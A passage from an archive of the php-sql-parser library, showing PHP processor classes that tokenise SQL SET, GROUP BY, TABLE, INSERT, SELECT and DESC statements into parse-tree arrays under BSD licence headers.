        if ($parseInfo['expr_type'] === ExpressionType::EXPRESSION) {
            $expr = $this->processSelectExpression($parseInfo['base_expr']);
            $expr['direction'] = $parseInfo['dir'];
            unset($expr['alias']);
            return $expr;
        }

        $result = array();
        $result['expr_type'] = $parseInfo['expr_type'];
        $result['base_expr'] = $parseInfo['base_expr'];
        if (isset($parseInfo['no_quotes'])) {
            $result['no_quotes'] = $parseInfo['no_quotes'];
        }
        $result['direction'] = $parseInfo['dir'];
        return $result;
    }

    public function process($tokens, $select = array()) {
        $out = array();
        $parseInfo = $this->initParseInfo();

        if (!$tokens) {
            return false;
        }

        foreach ($tokens as $token) {
            $upper = strtoupper(trim($token));
            switch ($upper) {
            case ',':
                $out[] = $this->processOrderExpression($parseInfo, $select);
                $parseInfo = $this->initParseInfo();
                break;

            case 'DESC':
                $parseInfo['dir'] = "DESC";
                break;

            case 'ASC':
                $parseInfo['dir'] = "ASC";
                break;

            default:
                if ($this->isCommentToken($token)) {
                    $out[] = parent::processComment($token);
                    break;
                }

                $parseInfo['base_expr'] .= $token;
            }
        }

        $out[] = $this->processOrderExpression($parseInfo, $select);
        return $out;
    }
}
?>
PK     \![  [  M  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/DescProcessor.phpnu [        <?php
/**
 * DescProcessor.php
 *
 * This file implements the processor for the DESC statements, which is a short form of DESCRIBE.
 *
 * Copyright (c) 2010-2014, Justin Swanhart
 * with contributions by André Rothe <arothe@phosco.info, phosco@gmx.de>
 *
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification,
 * are permitted provided that the following conditions are met:
 *
 *   * Redistributions of source code must retain the above copyright notice,
 *     this list of conditions and the following disclaimer.
 *   * Redistributions in binary form must reproduce the above copyright notice,
 *     this list of conditions and the following disclaimer in the documentation
 *     and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
 * SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
 * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
 * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
 * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
 * DAMAGE.
 */

namespace PHPSQLParser\processors;

/**
 * 
 * This class processes the DESC statement.
 * 
 * @author arothe
 * 
 */
class DescProcessor extends ExplainProcessor {

    protected function isStatement($keys, $needle = "DESC") {
        return parent::isStatement($keys, $needle);
    }
}
?>
PK     \S    L  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/SetProcessor.phpnu [        <?php
/**
 * SetProcessor.php
 *
 * This file implements the processor for the SET statements.
 *
 * Copyright (c) 2010-2012, Justin Swanhart
 * with contributions by André Rothe <arothe@phosco.info, phosco@gmx.de>
 *
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification,
 * are permitted provided that the following conditions are met:
 *
 *   * Redistributions of source code must retain the above copyright notice,
 *     this list of conditions and the following disclaimer.
 *   * Redistributions in binary form must reproduce the above copyright notice,
 *     this list of conditions and the following disclaimer in the documentation
 *     and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
 * SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
 * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
 * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
 * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
 * DAMAGE.
 */

namespace PHPSQLParser\processors;
use PHPSQLParser\utils\ExpressionType;

/**
 *
 * This class processes the SET statements.
 *
 * @author arothe
 *
 */
class SetProcessor extends AbstractProcessor {

    protected function processExpressionList($tokens) {
        $processor = new ExpressionListProcessor($this->options);
        return $processor->process($tokens);
    }

    /**
     * A SET list is simply a list of key = value expressions separated by comma (,).
     * This function produces a list of the key/value expressions.
     */
    protected function processAssignment($base_expr) {
        $assignment = $this->processExpressionList($this->splitSQLIntoTokens($base_expr));

        // TODO: if the left side of the assignment is a reserved keyword, it should be changed to colref

        return array('expr_type' => ExpressionType::EXPRESSION, 'base_expr' => trim($base_expr),
                     'sub_tree' => (empty($assignment) ? false : $assignment));
    }

    public function process($tokens, $isUpdate = false) {
        $result = array();
        $baseExpr = "";
        $assignment = false;
        $varType = false;

        foreach ($tokens as $token) {
            $trim = trim($token);
            $upper = strtoupper($trim);

            switch ($upper) {
            case 'LOCAL':
            case 'SESSION':
            case 'GLOBAL':
                if (!$isUpdate) {
                    $result[] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                    $varType = $this->getVariableType("@@" . $upper . ".");
                    $baseExpr = "";
                    continue 2;
                }
                break;

            case ',':
                $assignment = $this->processAssignment($baseExpr);
                if (!$isUpdate && $varType !== false) {
                    $assignment['sub_tree'][0]['expr_type'] = $varType;
                }
                $result[] = $assignment;
                $baseExpr = "";
                $varType = false;
                continue 2;

            default:
            }
            $baseExpr .= $token;
        }

        if (trim($baseExpr) !== "") {
            $assignment = $this->processAssignment($baseExpr);
            if (!$isUpdate && $varType !== false) {
                $assignment['sub_tree'][0]['expr_type'] = $varType;
            }
            $result[] = $assignment;
        }

        return $result;
    }

}
?>PK     \.		  	  P  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/GroupByProcessor.phpnu [        <?php
/**
 * GroupByProcessor.php
 *
 * This file implements the processor for the GROUP-BY statements.
 *
 * Copyright (c) 2010-2012, Justin Swanhart
 * with contributions by André Rothe <arothe@phosco.info, phosco@gmx.de>
 *
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification,
 * are permitted provided that the following conditions are met:
 *
 *   * Redistributions of source code must retain the above copyright notice,
 *     this list of conditions and the following disclaimer.
 *   * Redistributions in binary form must reproduce the above copyright notice,
 *     this list of conditions and the following disclaimer in the documentation
 *     and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
 * SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
 * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
 * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
 * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
 * DAMAGE.
 */

namespace PHPSQLParser\processors;

/**
 * 
 * This class processes the GROUP-BY statements.
 * 
 * @author arothe
 * 
 */
class GroupByProcessor extends OrderByProcessor {

    public function process($tokens, $select = array()) {
        $out = array();
        $parseInfo = $this->initParseInfo();

        if (!$tokens) {
            return false;
        }

        foreach ($tokens as $token) {
            $trim = strtoupper(trim($token));
            switch ($trim) {
            case ',':
                $parsed = $this->processOrderExpression($parseInfo, $select);
                unset($parsed['direction']);

                $out[] = $parsed;
                $parseInfo = $this->initParseInfo();
                break;
            default:
                $parseInfo['base_expr'] .= $token;
            }
        }

        $parsed = $this->processOrderExpression($parseInfo, $select);
        unset($parsed['direction']);
        $out[] = $parsed;

        return $out;
    }
}
?>
PK     \9:  :  N  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/TableProcessor.phpnu [        <?php
/**
 * TableProcessor.php
 *
 * This file implements the processor for the TABLE statements.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class processes the TABLE statements.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class TableProcessor extends AbstractProcessor {

    protected function getReservedType($token) {
        return array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $token);
    }

    protected function getConstantType($token) {
        return array('expr_type' => ExpressionType::CONSTANT, 'base_expr' => $token);
    }

    protected function getOperatorType($token) {
        return array('expr_type' => ExpressionType::OPERATOR, 'base_expr' => $token);
    }

    protected function processPartitionOptions($tokens) {
        $processor = new PartitionOptionsProcessor($this->options);
        return $processor->process($tokens);
    }

    protected function processCreateDefinition($tokens) {
        $processor = new CreateDefinitionProcessor($this->options);
        return $processor->process($tokens);
    }

    protected function clear(&$expr, &$base_expr, &$category) {
        $expr = array();
        $base_expr = '';
        $category = 'CREATE_DEF';
    }

    public function process($tokens) {

        $currCategory = 'TABLE_NAME';
        $result = array('base_expr' => false, 'name' => false, 'no_quotes' => false, 'create-def' => false,
                        'options' => array(), 'like' => false, 'select-option' => false);
        $expr = array();
        $base_expr = '';
        $skip = 0;

        foreach ($tokens as $tokenKey => $token) {
            $trim = trim($token);
            $base_expr .= $token;

            if ($skip > 0) {
                $skip--;
                continue;
            }

            if ($skip < 0) {
                break;
            }

            if ($trim === '') {
                continue;
            }

            $upper = strtoupper($trim);
            switch ($upper) {

            case ',':
            // it is possible to separate the table options with comma!
                if ($prevCategory === 'CREATE_DEF') {
                    $last = array_pop($result['options']);
                    $last['delim'] = ',';
                    $result['options'][] = $last;
                    $base_expr = '';
                }
                continue 2;

            case 'UNION':
                if ($prevCategory === 'CREATE_DEF') {
                    $expr[] = $this->getReservedType($trim);
                    $currCategory = 'UNION';
                    continue 2;
                }
                break;

            case 'LIKE':
            // like without parenthesis
                if ($prevCategory === 'TABLE_NAME') {
                    $currCategory = $upper;
                    continue 2;
                }
                break;

            case '=':
            // the optional operator
                if ($prevCategory === 'TABLE_OPTION') {
                    $expr[] = $this->getOperatorType($trim);
                    continue 2; // don't change the category
                }
                break;

            case 'CHARACTER':
                if ($prevCategory === 'CREATE_DEF') {
                    $expr[] = $this->getReservedType($trim);
                    $currCategory = 'TABLE_OPTION';
                }
                if ($prevCategory === 'TABLE_OPTION') {
                    // add it to the previous DEFAULT
                    $expr[] = $this->getReservedType($trim);
                    continue 2;
                }
                break;

            case 'SET':
            case 'CHARSET':
                if ($prevCategory === 'TABLE_OPTION') {
                    // add it to a previous CHARACTER
                    $expr[] = $this->getReservedType($trim);
                    $currCategory = 'CHARSET';
                    continue 2;
                }
                break;

            case 'COLLATE':
                if ($prevCategory === 'TABLE_OPTION' || $prevCategory === 'CREATE_DEF') {
                    // add it to the previous DEFAULT
                    $expr[] = $this->getReservedType($trim);
                    $currCategory = 'COLLATE';
                    continue 2;
                }
                break;

            case 'DIRECTORY':
                if ($currCategory === 'INDEX_DIRECTORY' || $currCategory === 'DATA_DIRECTORY') {
                    // after INDEX or DATA
                    $expr[] = $this->getReservedType($trim);
                    continue 2;
                }
                break;

            case 'INDEX':
                if ($prevCategory === 'CREATE_DEF') {
                    $expr[] = $this->getReservedType($trim);
                    $currCategory = 'INDEX_DIRECTORY';
                    continue 2;
                }
                break;

            case 'DATA':
                if ($prevCategory === 'CREATE_DEF') {
                    $expr[] = $this->getReservedType($trim);
                    $currCategory = 'DATA_DIRECTORY';
                    continue 2;
                }
                break;

            case 'INSERT_METHOD':
            case 'DELAY_KEY_WRITE':
            case 'ROW_FORMAT':
            case 'PASSWORD':
            case 'MAX_ROWS':
            case 'MIN_ROWS':
            case 'PACK_KEYS':
            case 'CHECKSUM':
            case 'COMMENT':
            case 'CONNECTION':
            case 'AUTO_INCREMENT':
            case 'AVG_ROW_LENGTH':
            case 'ENGINE':
            case 'TYPE':
            case 'STATS_AUTO_RECALC':
            case 'STATS_PERSISTENT':
            case 'KEY_BLOCK_SIZE':
                if ($prevCategory === 'CREATE_DEF') {
                    $expr[] = $this->getReservedType($trim);
                    $currCategory = $prevCategory = 'TABLE_OPTION';
                    continue 2;
                }
                break;

            case 'DYNAMIC':
            case 'FIXED':
            case 'COMPRESSED':
            case 'REDUNDANT':
            case 'COMPACT':
            case 'NO':
            case 'FIRST':
            case 'LAST':
            case 'DEFAULT':
                if ($prevCategory === 'CREATE_DEF') {
                    // DEFAULT before CHARACTER SET and COLLATE
                    $expr[] = $this->getReservedType($trim);
                    $currCategory = 'TABLE_OPTION';
                }
                if ($prevCategory === 'TABLE_OPTION') {
                    // all assignments with the keywords
                    $expr[] = $this->getReservedType($trim);
                    $result['options'][] = array('expr_type' => ExpressionType::EXPRESSION,
                                                 'base_expr' => trim($base_expr), 'delim' => ' ', 'sub_tree' => $expr);
                    $this->clear($expr, $base_expr, $currCategory);
                }
                break;

            case 'IGNORE':
            case 'REPLACE':
                $expr[] = $this->getReservedType($trim);
                $result['select-option'] = array('base_expr' => trim($base_expr), 'duplicates' => $trim, 'as' => false,
                                                 'sub_tree' => $expr);
                continue 2;

            case 'AS':
                $expr[] = $this->getReservedType($trim);
                if (!isset($result['select-option']['duplicates'])) {
                    $result['select-option']['duplicates'] = false;
                }
                $result['select-option']['as'] = true;
                $result['select-option']['base_expr'] = trim($base_expr);
                $result['select-option']['sub_tree'] = $expr;
                continue 2;

            case 'PARTITION':
                if ($prevCategory === 'CREATE_DEF') {
                    $part = $this->processPartitionOptions(array_slice($tokens, $tokenKey - 1, null, true));
                    $skip = $part['last-parsed'] - $tokenKey;
                    $result['partition-options'] = $part['partition-options'];
                    continue 2;
                }
                // else
                break;

            default:
                switch ($currCategory) {

                case 'CHARSET':
                // the charset name
                    $expr[] = $this->getConstantType($trim);
                    $result['options'][] = array('expr_type' => ExpressionType::CHARSET,
                                                 'base_expr' => trim($base_expr), 'delim' => ' ', 'sub_tree' => $expr);
                    $this->clear($expr, $base_expr, $currCategory);
                    break;

                case 'COLLATE':
                // the collate name
                    $expr[] = $this->getConstantType($trim);
                    $result['options'][] = array('expr_type' => ExpressionType::COLLATE,
                                                 'base_expr' => trim($base_expr), 'delim' => ' ', 'sub_tree' => $expr);
                    $this->clear($expr, $base_expr, $currCategory);
                    break;

                case 'DATA_DIRECTORY':
                // we have the directory name
                    $expr[] = $this->getConstantType($trim);
                    $result['options'][] = array('expr_type' => ExpressionType::DIRECTORY, 'kind' => 'DATA',
                                                 'base_expr' => trim($base_expr), 'delim' => ' ', 'sub_tree' => $expr);
                    $this->clear($expr, $base_expr, $prevCategory);
                    continue 3;

                case 'INDEX_DIRECTORY':
                // we have the directory name
                    $expr[] = $this->getConstantType($trim);
                    $result['options'][] = array('expr_type' => ExpressionType::DIRECTORY, 'kind' => 'INDEX',
                                                 'base_expr' => trim($base_expr), 'delim' => ' ', 'sub_tree' => $expr);
                    $this->clear($expr, $base_expr, $prevCategory);
                    continue 3;

                case 'TABLE_NAME':
                    $result['base_expr'] = $result['name'] = $trim;
                    $result['no_quotes'] = $this->revokeQuotation($trim);
                    $this->clear($expr, $base_expr, $prevCategory);
                    break;

                case 'LIKE':
                    $result['like'] = array('expr_type' => ExpressionType::TABLE, 'table' => $trim,
                                            'base_expr' => $trim, 'no_quotes' => $this->revokeQuotation($trim));
                    $this->clear($expr, $base_expr, $currCategory);
                    break;

                case '':
                // after table name
                    if ($prevCategory === 'TABLE_NAME' && $upper[0] === '(' && substr($upper, -1) === ')') {
                        $unparsed = $this->splitSQLIntoTokens($this->removeParenthesisFromStart($trim));
                        $coldef = $this->processCreateDefinition($unparsed);
                        $result['create-def'] = array('expr_type' => ExpressionType::BRACKET_EXPRESSION,
                                                      'base_expr' => $base_expr, 'sub_tree' => $coldef['create-def']);
                        $expr = array();
                        $base_expr = '';
                        $currCategory = 'CREATE_DEF';
                    }
                    break;

                case 'UNION':
                // TODO: this token starts and ends with parenthesis
                // and contains a list of table names (comma-separated)
                // split the token and add the list as subtree
                // we must change the DefaultProcessor

                    $unparsed = $this->splitSQLIntoTokens($this->removeParenthesisFromStart($trim));
                    $expr[] = array('expr_type' => ExpressionType::BRACKET_EXPRESSION, 'base_expr' => $trim,
                                    'sub_tree' => '***TODO***');
                    $result['options'][] = array('expr_type' => ExpressionType::UNION, 'base_expr' => trim($base_expr),
                                                 'delim' => ' ', 'sub_tree' => $expr);
                    $this->clear($expr, $base_expr, $currCategory);
                    break;

                default:
                // strings and numeric constants
                    $expr[] = $this->getConstantType($trim);
                    $result['options'][] = array('expr_type' => ExpressionType::EXPRESSION,
                                                 'base_expr' => trim($base_expr), 'delim' => ' ', 'sub_tree' => $expr);
                    $this->clear($expr, $base_expr, $currCategory);
                    break;
                }
                break;
            }

            $prevCategory = $currCategory;
            $currCategory = '';
        }

        if ($result['like'] === false) {
            unset($result['like']);
        }
        if ($result['select-option'] === false) {
            unset($result['select-option']);
        }
        if ($result['options'] === array()) {
            $result['options'] = false;
        }

        return $result;
    }
}
?>PK     \"]'X    O  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/InsertProcessor.phpnu [        <?php
/**
 * InsertProcessor.php
 *
 * This file implements the processor for the INSERT statements.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class processes the INSERT statements.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class InsertProcessor extends AbstractProcessor {

    protected function processOptions($tokenList) {
        if (!isset($tokenList['OPTIONS'])) {
            return array();
        }
        $result = array();
        foreach ($tokenList['OPTIONS'] as $token) {
            $result[] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => trim($token));
        }
        return $result;
    }

    protected function processKeyword($keyword, $tokenList) {
        if (!isset($tokenList[$keyword])) {
            return array('', false, array());
        }

        $table = '';
        $cols = false;
        $result = array();

        foreach ($tokenList[$keyword] as $token) {
            $trim = trim($token);

            if ($trim === '') {
                continue;
            }

            $upper = strtoupper($trim);
            switch ($upper) {
            case 'INTO':
                $result[] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                break;

            case 'INSERT':
            case 'REPLACE':
                break;

            default:
                if ($table === '') {
                    $table = $trim;
                    break;
                }

                if ($cols === false) {
                    $cols = $trim;
                }
                break;
            }
        }
        return array($table, $cols, $result);
    }

    protected function processColumns($cols) {
        if ($cols === false) {
            return $cols;
        }
        if ($cols[0] === '(' && substr($cols, -1) === ')') {
            $parsed = array('expr_type' => ExpressionType::BRACKET_EXPRESSION, 'base_expr' => $cols,
                            'sub_tree' => false);
        }
        $cols = $this->removeParenthesisFromStart($cols);
        if (stripos($cols, 'SELECT') === 0) {
            $processor = new DefaultProcessor($this->options);
            $parsed['sub_tree'] = array(
                    array('expr_type' => ExpressionType::QUERY, 'base_expr' => $cols,
                            'sub_tree' => $processor->process($cols)));
        } else {
            $processor = new ColumnListProcessor($this->options);
            $parsed['sub_tree'] = $processor->process($cols);
            $parsed['expr_type'] = ExpressionType::COLUMN_LIST;
        }
        return $parsed;
    }

    public function process($tokenList, $token_category = 'INSERT') {
        $table = '';
        $cols = false;
        $comments = array();

        foreach ($tokenList as $key => &$token) {
            if ($key == 'VALUES') {
                continue;
            }
            foreach ($token as &$value) {
                if ($this->isCommentToken($value)) {
                     $comments[] = parent::processComment($value);
                     $value = '';
                }
            }
        }

        $parsed = $this->processOptions($tokenList);
        unset($tokenList['OPTIONS']);

        list($table, $cols, $key) = $this->processKeyword('INTO', $tokenList);
        $parsed = array_merge($parsed, $key);
        unset($tokenList['INTO']);

        if ($table === '' && in_array($token_category, array('INSERT', 'REPLACE'))) {
            list($table, $cols, $key) = $this->processKeyword($token_category, $tokenList);
        }

        $parsed[] = array('expr_type' => ExpressionType::TABLE, 'table' => $table,
                          'no_quotes' => $this->revokeQuotation($table), 'alias' => false, 'base_expr' => $table);

        $cols = $this->processColumns($cols);
        if ($cols !== false) {
            $parsed[] = $cols;
        }

        $parsed = array_merge($parsed, $comments);

        $tokenList[$token_category] = $parsed;
        return $tokenList;
    }
}
?>
PK     \*q    O  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/SelectProcessor.phpnu [        <?php
/**
 * SelectProcessor.php
 *
 * This file implements the processor for the SELECT statements.
 *
 * Copyright (c) 2010-2012, Justin Swanhart
 * with contributions by André Rothe <arothe@phosco.info, phosco@gmx.de>
 *
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification,
 * are permitted provided that the following conditions are met:
 *
 *   * Redistributions of source code must retain the above copyright notice,
 *     this list of conditions and the following disclaimer.
 *   * Redistributions in binary form must reproduce the above copyright notice,
 *     this list of conditions and the following disclaimer in the documentation
 *     and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
 * SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
 * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
 * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
 * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
 * DAMAGE.
 */

namespace PHPSQLParser\processors;

/**
 * 
 * This class processes the SELECT statements.
 * 
 * @author arothe
 * 
 */
class SelectProcessor extends SelectExpressionProcessor {

    public function process($tokens) {
        $expression = "";
        $expressionList = array();
        foreach ($tokens as $token) {
            if ($this->isCommaToken($token)) {
                $expression = parent::process(trim($expression));
                $expression['delim'] = ',';
                $expressionList[] = $expression;
                $expression = "";
            } else if ($this->isCommentToken($token)) {
                $expressionList[] = parent::processComment($token);
            } else {
                switch (strtoupper($token)) {

                // add more SELECT options here
                case 'DISTINCT':
                case 'DISTINCTROW':
                case 'HIGH_PRIORITY':
                case 'SQL_CACHE':
                case 'SQL_NO_CACHE':
                case 'SQL_CALC_FOUND_ROWS':
                case 'STRAIGHT_JOIN':
                case 'SQL_SMALL_RESULT':
                case 'SQL_BIG_RESULT':
                case 'SQL_BUFFER_RESULT':
                    $expression = parent::process(trim($token));
                    $expression['delim'] = ' ';
                    $expressionList[] = $expression;
                    $expression = "";
                    break;

                default:
                    $expression .= $token;
                }
            }
        }
        if ($expression) {
            $expression = parent::process(trim($expression));
            $expression['delim'] = false;
            $expressionList[] = $expression;
        }
        return $expressionList;
    }
}
?>
PK     \D  D  Y  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/CreateDefinitionProcessor.phpnu [        <?php
/**
 * CreateDefinitionProcessor.php
 *
 * This file implements the processor for the create definition within the TABLE statements.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
